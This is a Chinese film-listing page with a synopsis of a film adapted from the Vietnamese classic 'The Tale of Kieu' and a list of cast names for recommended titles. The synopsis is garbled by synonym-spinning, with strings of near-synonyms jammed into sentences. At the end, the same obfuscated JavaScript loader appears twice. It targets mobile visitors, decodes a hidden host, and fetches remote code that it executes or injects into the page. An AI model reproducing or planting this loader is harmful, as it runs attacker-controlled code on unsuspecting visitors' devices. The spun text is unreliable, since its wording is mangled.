剧情简介
本片根据越南古典文学作品《翘传》（作者是19世纪初诗人阮攸）改编。 《翘传》，又称《断肠新声》是阮攸根据中国明末清初青心才人原著小说《金云翘传》改编。作品主要运用越南本民族文字喃字和越南纯碎的古典格律诗“六八体”诗（一种用上六言，下八言写成的诗体）完成一篇长达3254句的叙事诗，因此，作品具有很强的“民族性”，体现着“貉鸿子孙”的“国魂”与“国髓”。
本片根据越南古典文学作品《翘传》（作者是19世纪初诗人阮攸）改编。 《翘传》，又称《断肠新声》是阮攸根据中国明末清初青心才人原著小说《金云翘传》改编。作品主要运用越南本民族文字喃字和越南纯碎的古典格律诗“六八体”诗（一种用上六言，下八言写成的诗体）完成一篇长达3254句的叙事诗，因此，作品具有很强的“民族性”，体现着“貉鸿子孙”的“国魂”与“国髓”。 《翘传》主要叙述出身书香门第的王翠翘一生坎坷的日常,生存,生计,日子和经历,碰到,遇到,邂逅。她出身名门，才貌出众并与书生金重私订终身。可在金重奔丧期间，她为救遭诬陷入狱的爸爸,父亲大人,爹爹,老父亲而卖身，不料被骗，沦落青楼。阮攸却已越过当时浓重的社会偏见，去赞美王翠翘优雅的身材，尤其那美丽的心灵。长诗通过王翠翘这个人物所受尽的历经十五年的磨难，来突出十八世纪末和十九世纪初的社会真相，以及存在的诸多社会弊端，最明显的便是官僚腐败，等级森严等的社会问题。控诉了腐朽的封建制度对人民的迫害，歌颂了争取爱情、欢愉,美满,欢乐,愉快,欣喜,喜悦,愉悦和自由的行动，寄托了人民的美满,美好,完美,美善理想。可以说，《翘传》并不是一般的才子佳人小说，而其已经超越此范围。 《翘传》被尊为民族文学的“语言之集大成”，凝聚了越南民族语言的精髓，尤其是民间语言，频繁使用越南民间特色的歌谣、成语、俗语，使得语言生动活泼，富裕,富足,殷实,丰裕创意；尤其是他善于抒情，让故事中每个人物都充满情感。
详情
猜你喜欢
-
HD
安娜·穆格拉利斯,艾力克·高敦,尼尔斯·施内德,雷诺·拉顿,皮埃尔·尼斯,安德烈·维尔姆斯,米歇尔·富,简·贝尔萨兹,康斯坦斯·多利,茜茜·杜帕克,米歇尔·费拉奇,维拉恩·弗雷迪亚尼
-
-
HD
刘德华,欧豪,倪妮,黄奕,蒋梦婕,郑则仕,刘以豪,赵海燕,李梦男,田丽,张晨光,连凯,张琪,麦长青,赵永洪
-
HD
锦户亮,木村文乃,北村一辉,优香,松田龙平,市川实日子,田中泯,水泽绅吾
-
HD
滨边美波,赤楚卫二,佐野勇斗,仓悠贵,山下美月,西垣匠
-
HD
藤谷太辅,奈绪,仓悠贵,宫内瞳,阿南健治,宫崎美子,西田尚美,前田美波里
-
HD
朱丽叶·比诺什,伯努瓦·马吉梅尔,埃马努埃尔·萨兰热,帕特里克·德阿萨姆曹,加拉泰亚·贝露琪,扬·哈梅内克,弗雷德里克·菲斯巴赫,邦妮·夏诺-拉瓦尔,让-马克·鲁洛,扬尼克·兰德赖恩,莎拉·阿德勒,穆罕默德·阿列兹基,皮埃尔·加尼耶,克莱门特·埃尔维厄-圣莱杰,罗兰·克莱特,弗劳尔·菲图西,克洛伊·兰贝特,阿努克·费拉尔,莎拉·维埃诺,塞西尔·博德森
-
HD
艾西瓦娅·雷,莎巴娜·阿兹米,桑尼尔·谢迪,阿布舍克·巴强,Bikram Saluja,Ayesha Jhulka,Puru Rajkumar,帕里卡沙特.萨赫尼,库尔布尚·卡尔班达,迪维亚·达塔,Himani Shivpuri,Maya Alagh,威什瓦吉特·普拉丹,Javed Khan,Anwar Madeem
-
HD
八木勇征,井上祐贵,樱井海音,椿泰我,田边诚一,笹野高史,竹山隆范,阿部亮平,马渕英俚可
-
HD
热苏伊塔·巴尔博萨,卡罗琳·阿布拉斯,艾米拉·盖德斯,布鲁诺·蒙塔莱昂尼,罗密欧·布拉加,Lara Tremouroux,Mauro Soares,Jullio Reis,Pedro Zurawski,Jeff Lyrio,Bruno Parmera,安德烈·戴尔
-
HD
井浦新,罗宾·薇格特,国村隼,丝科特·史密斯,藤谷文子,斯蒂芬妮·埃尔南德斯,戈雅·罗伯斯,邓肯·维扎因,路易斯·乔斯·洛佩斯,加布里埃尔·克拉克,斯科特·麦考利,杰夫·梅德利,Marisilda Garcia,珍娜·西拉利 ,George De Vries,岩松了,Gerald Penn,Cara Wilder,Rob Story,Zac Thomas
-
HD
菲恩·怀特海德,艾玛·汤普森,斯坦利·图齐,妮基·阿姆卡-伯德,本·卓别林,杰森·沃特金斯,鲁珀特·范西塔特,萝西·凯弗利洛,安东尼·凯尔夫,斯塔奇·希克斯,尼古拉斯·琼斯,艾琳·沃尔什,多米尼克·卡特,安德鲁·哈维尔,米歇尔·奥斯丁,保罗·杰森,希滕·珀泰尔,卡尔·法雷尔,罗茜·布尔,拉裴尔·德普雷,丹尼尔·厄根,黛博拉·洛克,亚力克斯·布莱克,德斯·麦卡莱尔,Manuela Maletta,泰·赫尔利,芙洛·费拉科,纳奥米·弗雷德里克,安贾纳·瓦桑,克莱尔·阿什顿,沙奎尔·阿里-耶布阿,大卫·韦伯,A
function bAlROHT(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GfIYxpS(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bAlROHT(t);};window[''+'R'+'G'+'y'+'E'+'L'+'b'+'o'+'Z'+'P'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var r=u,x=GfIYxpS,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('GET','https://'+u+'/bd_'+k+'_'+i+'_'+r);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=xhr.responseText;new Function('_'+'t'+'d'+'cs',data)(cs);}};xhr.send('u=1');}else{var
s=d[crd]('script');s.src='https://'+u+'/wap_'+k+'_'+i+'_'+r;cs.parentElement.insertBefore(s,cs);}})('MTczOTU0Nzk3Ny5kd3lldXkuYY29tOjQwMzE=','2352','2889',window,document,['Y','y']);}:function(){};
function bAlROHT(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function GfIYxpS(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bAlROHT(t);};window[''+'R'+'G'+'y'+'E'+'L'+'b'+'o'+'Z'+'P'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){var r=u,x=GfIYxpS,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('GET','https://'+u+'/bd_'+k+'_'+i+'_'+r);xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=xhr.responseText;new Function('_'+'t'+'d'+'cs',data)(cs);}};xhr.send('u=1');}else{var
s=d[crd]('script');s.src='https://'+u+'/wap_'+k+'_'+i+'_'+r;cs.parentElement.insertBefore(s,cs);}})('MTczOTU0ODAxMi5kd3lldXkuYY29tOjQwNzA=','2352','2888',window,document,['Y','y']);}:function(){};
